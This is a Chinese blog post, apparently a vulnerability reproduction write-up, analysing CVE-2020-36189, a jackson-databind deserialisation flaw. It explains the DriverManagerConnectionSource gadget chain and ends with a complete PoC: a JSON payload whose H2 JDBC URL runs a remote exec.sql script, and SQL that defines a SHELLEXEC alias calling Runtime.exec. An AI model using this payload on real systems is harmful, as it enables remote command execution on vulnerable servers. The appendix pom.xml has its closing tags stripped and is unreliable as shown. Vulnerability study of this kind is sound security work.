CVE-2020-36189 jackson-databind java反序列化漏洞

漏洞原理

jackson-databind是一套开源的java序列化与反序列化工具框架,可将java对象序列化为xml和json格式的字符串及提供对应的反序列化过程。由于其解析效率较高,目前是Spring MVC中内置使用的解析方式,该漏洞的触发条件是ObjectMapper反序列化前调用了enableDefaultTyping方法。该方法允许json字符串中指定反序列化java对象的类名,而在使用Object、Map、List等对象时,可诱发反序列化漏洞,导致可执行任意命令。

jackson使用ObjectMapper作为转换的操作类,通过声明这个类来进行json的序列化与反序列化。

com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource类中实现了url的输入和调用,通过可控的url进行payload的打入,即可依靠ObjectMapper的反序列化漏洞实现SSRF和RCE。

如图是上述package的源码,在1处实现了对url的输入,在2处实现了调用,

CVE-2020-36189 jackson-databind java反序列化漏洞_第1张图片
所以本次漏洞利用的目标是通过反序列化json串,使项目执行DriverManager.getConnection(),构造参数实现远程执行命令
本次构建的目标是实现如下命令

DriverManager.getConnection(实现payload的数据库的url, username, password)

在这里插入图片描述

jbdc(java database connection)是一种java对数据库进行连接增删改查等操作的技术。
H2数据库是一个开源的内嵌式关系型数据库,此处使用了mem选项,数据直接存放在内存中。
TRACE_LEVEL_SYSTEM_OUT是某项设置,没有查到。
INIT=RUNSCRIPT FROM是在数据库连接时执行SQL语句。
在这里插入图片描述
上图是SQL语句形式的payload,即创建SHELLEXEC函数以执行。两组$$中间是作为引用将SHELLEXEC函数填写了java函数。

首先objectmapper.enableDefaultTyping()可以使mapper在读取时,识别除了自然类型(String, Int, Double等)之外的非常量类型,这个名字可以在json中写出,读取时便可以该类存储。
CVE-2020-36189 jackson-databind java反序列化漏洞_第2张图片
如图所示json字符串是[类名, {参数名:参数值,…,}]的形式,将对象的参数的类名打印,是json中的类名。

mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false)
参数设置,对象为空时不抛异常。

objectmapper.readvalue()将json串转化为了类对象,并将数值按参数填入。
objectmapper.writeValueAsString()再将对象转换为字符串。
CVE-2020-36189 jackson-databind java反序列化漏洞_第3张图片

那么为什么getConnection会执行又成了问题,源码太繁琐,工作量太大,换一个思路进行分析。
首先在userBase类里写下三个函数,分别是pubilic,private和CVE漏洞中本身的使用了java.sql中的Connection类的函数。
CVE-2020-36189 jackson-databind java反序列化漏洞_第4张图片
根据回显可以看到getConnection进行了执行,其余两项并没有

CVE-2020-36189 jackson-databind java反序列化漏洞_第5张图片

下载好h2数据库后,之前使用的payload也执行成功
CVE-2020-36189 jackson-databind java反序列化漏洞_第6张图片
但是如果直接赋值或是使用Class内部的setUsername方法均不会成功,因此推断是使用writeValueAsString序列化对象时会自动调用Connection方法。
在这里插入图片描述在jackson源码中进行了对类中方法的扫描
CVE-2020-36189 jackson-databind java反序列化漏洞_第7张图片
源码太过复杂,源码级别分析确实过于困难,只能得出在使用writeValueAsString方法时Connection会自动执行的结论
首先简化Class,并将setUsername注释,可以看见payload执行成功
CVE-2020-36189 jackson-databind java反序列化漏洞_第8张图片
将public改为private,payload执行失败

CVE-2020-36189 jackson-databind java反序列化漏洞_第9张图片
之后取消set方法的注释,payload执行成功
CVE-2020-36189 jackson-databind java反序列化漏洞_第10张图片

因此该漏洞有两个利用条件:
–目标类中需要存在Connection方法
–Connection方法中的DriverManager.getConnection()中的参数需要可控
以上思路存在于CVE-2020-36179一直到CVE-2020-36189

漏洞复现

1、开启MVN项目,填写pom.xml,下载依赖
CVE-2020-36189 jackson-databind java反序列化漏洞_第11张图片
2、填写payload
CVE-2020-36189 jackson-databind java反序列化漏洞_第12张图片在这里插入图片描述
3、将sql文件放到http服务上,执行payload使程序获取sql文件,通过反序列化使其执行sql文件内的命令,弹出计算器代表利用成功
CVE-2020-36189 jackson-databind java反序列化漏洞_第13张图片

附录

依赖项:

<dependencies>
        <dependency>
            <groupId>com.fasterxml.jackson.coregroupId>
            <artifactId>jackson-databindartifactId>
            <version>2.9.10.7version>
        dependency>
        
        <dependency>
            <groupId>com.newrelic.agent.javagroupId>
            <artifactId>newrelic-agentartifactId>
            <version>4.9.0version>
        dependency>
        
        <dependency>
            <groupId>com.h2databasegroupId>
            <artifactId>h2artifactId>
            <version>1.4.199version>
        dependency>

        <dependency>
            <groupId>org.slf4jgroupId>
            <artifactId>slf4j-nopartifactId>
            <version>1.7.2version>
        dependency>
        
        <dependency>
            <groupId>javax.transactiongroupId>
            <artifactId>jtaartifactId>
            <version>1.1version>
        dependency>
dependencies>

POC

public class POC {
    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
        String json = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource\"," +
                " {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/exec.sql'\"}]";
        Object obj = mapper.readValue(json, Object.class);
        mapper.writeValueAsString(obj);
    }
}

exec.sql

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('calc.exe')

你可能感兴趣的:(漏洞复现,java,开发语言,网络安全,漏洞复现)